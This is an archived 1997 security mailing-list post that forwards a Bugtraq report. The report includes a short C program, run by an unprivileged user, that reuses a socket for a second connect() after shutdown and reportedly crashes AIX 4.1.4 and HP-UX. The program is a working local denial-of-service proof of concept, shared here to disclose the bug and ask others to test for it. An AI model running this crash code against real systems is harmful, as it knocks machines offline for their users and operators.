Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 7 Mar 1997 20:09:03 +0100
From:      Ollivier Robert <roberto@eurocontrol.fr>
To:        security@freebsd.org
Subject:   Fwd: Bug in connect() for aix 4.1.4 ?
Message-ID:  <19970307200903.47617@caerdonn.eurocontrol.fr>

next in thread | raw e-mail | index | archive | help
Can someone try this on a *non critical* FreeBSD system ? I can crash HP-UX
9.05 and 10.20 easily with it...

-----Forwarded message from Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.AT>-----

Date:         Wed, 5 Mar 1997 13:23:54 +0100
From: Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.AT>
Subject:      Bug in connect() for aix 4.1.4 ?
To: BUGTRAQ@NETSPACE.ORG

Can someone tell me why this simple tcp program crashes aix 4.1.4 .
I run this program as a normal user, and the second connect crashes aix.
is it just connect's old bug from aix ? i have tried it in aix 3.2
but it works only in 4.1.4.

_____________________________________________________________________

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <netdb.h>
#include <stdio.h>

main()
{
    int sock;
    struct sockaddr_in server;
    struct hostent *hp;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    /* or sock = socket(AF_INET, SOCK_STREAM, 6); */
    hp = gethostbyname("localhost");
    bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
    server.sin_family = AF_INET;
    server.sin_port = 23;
    connect(sock, (struct sockaddr *)&server, sizeof server);
    shutdown(sock, 2);
    server.sin_port = 24;
    connect(sock, (struct sockaddr *)&server, sizeof server);
}


_________________________________________________________________________
Cahya Wirawan.

-----End of forwarded message-----

-- 
Ollivier ROBERT -=- Eurocontrol EEC/TS -=- Ollivier.Robert@eurocontrol.fr




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19970307200903.47617>